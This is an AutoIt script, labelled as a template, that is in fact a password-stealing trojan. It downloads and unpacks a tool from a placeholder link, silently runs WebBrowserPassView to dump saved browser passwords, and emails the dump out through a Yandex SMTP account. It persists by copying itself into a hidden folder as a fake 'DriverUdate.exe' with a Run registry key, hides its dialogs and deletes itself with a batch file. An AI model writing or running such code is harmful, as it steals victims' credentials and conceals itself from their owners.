#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.12.0
Author: myName
Script Function:
Template AutoIt script.
#ce ----------------------------------------------------------------------------
; Script Start - Add your code below here
#NoTrayIcon#include <array.au3>
#include <file.au3>
#include <inet.au3>
$s=0
$o=0
$sArgument = '/600'
while $s<=1
$var = _GetIP()
$e=StringCompare($var,"-1")
If Not $e= 0 Then
while $o <=1
;~ $file=inetget("ссылка",@TempDir&"\ссылка")
if inetget("ссылка",@TempDir&"\ссылка") Then
sleep(1000)
_Zip_UnzipAll(@TempDir&"\ссылка",@TempDir&"\ey283gFt")
sleep(1000)
ShellExecuteWait(@TempDir&"\ey283gFt\WebBrowserPassView.exe","/stext "&@TempDir&"\ey283gFt\"&@ComputerName&".txt","","",@SW_HIDE)
sleep(100)
$str = "ссылка/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{
;;;;;;;;;;;;;;;;;;;;;;;; Вносим данные ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.From = "[email protected]" ;from e-mail
.To = "[email protected]" ;to e-mail
.Subject = @UserName&"- send all File"
.TextBody = "Passwords Vir"
.AddAttachment (@TempDir&"\ey283gFt\"&@ComputerName&".txt") ;файл для отправки
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = "smtp.yandex.ru" ;SMTP Server
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = "[email protected]" ;Login
.Item ($str & "sendpassword") = "111111" ;Пароль SMTP-сервера
.Item ($str & "smtpserverport") =587 ;Порт
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.Update
EndWith
$hMAIL.Send
$s=5
$o=5
EndIf
WEnd
Else
$de=@HomeDrive&"\DriverStores"
if not @ScriptFullPath<>$de&"\DriverUdate.exe" then
dircreate($de)
FileSetAttrib($de,"+H")
filecopy(@ScriptFullPath,$de&"\DriverUdate.exe",1)
_RegRun($sArgument)
sleep(1000)
_dels()
endif
EndIf
WEnd
DirRemove(@TempDir&"\ey283gFt\",1)
filedelete(@TempDir&"\ссылка")
_dels()
Func _dels()
$sTemp = _TempFile(@TempDir, '~', '.bat')
$sPath = FileGetShortName(@ScriptFullPath)
$hFile = FileOpen($sTemp, 2)
FileWriteLine($hFile, '@echo off')
FileWriteLine($hFile, ':loop')
FileWriteLine($hFile, 'del ' & $sPath)
FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
FileWriteLine($hFile, 'del ' & $sTemp)
FileClose($hFile)
Run($sTemp, '', @SW_HIDE)
EndFunc ;==>_ScriptDestroy
If $CmdLine[0] Then
$iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
$iStart = TimerInit()
While TimerDiff($iStart) <= $iTimer
Sleep(250)
WEnd
EndIf
Func _RegRun($s_Argument)
Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
If Not RegRead($sRegRun, "DriverUpdate") Or RegRead($sRegRun, "DriverUpdate") <> @HomeDrive&"\DriverStores\DriverUdate.exe" & ' ' & $s_Argument Then
RegWrite($sRegRun, "DriverUpdate", 'REG_SZ', @HomeDrive&"\DriverStores\DriverUdate.exe " & $s_Argument)
EndIf
EndFunc ;==>_RegRun
Func _Zip_UnzipAll($hZipFile, $hDestPath, $flag = 1)
Local $DLLChk = _Zip_DllChk()
If $DLLChk <> 0 Then Return SetError($DLLChk, 0, 0);no dll
If not _IsFullPath($hZipFile) then Return SetError(4,0) ;zip file isn't a full path
If Not FileExists($hZipFile) Then Return SetError(2, 0, 0) ;no zip file
If Not FileExists($hDestPath) Then DirCreate($hDestPath)
Local $aArray[1]
$oApp = ObjCreate("Shell.Application")
$oApp.Namespace($hDestPath).CopyHere($oApp.Namespace($hZipFile).Items)
For $item In $oApp.Namespace($hZipFile).Items
_ArrayAdd($aArray, $item)
Next
While 1
If $flag = 1 then _Hide()
If FileExists($hDestPath & "\" & $aArray[UBound($aArray) - 1]) Then
Return SetError(0, 0, 1)
ExitLoop
EndIf
Sleep(500)
WEnd
EndFunc ;==>_Zip_UnzipAll
Func _Zip_DllChk()
If Not FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
If Not RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
Return 0
EndFunc ;==>_Zip_DllChk
Func _IsFullPath($path)
if StringInStr($path,":\") then
Return True
Else
Return False
EndIf
Endfunc
Func _Hide()
If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" And WinGetState("[CLASS:#32770]") <> @SW_HIDE Then ;The Window Exists
$hWnd = WinGetHandle("[CLASS:#32770]")
WinSetState($hWnd, "", @SW_HIDE)
EndIf
EndFunc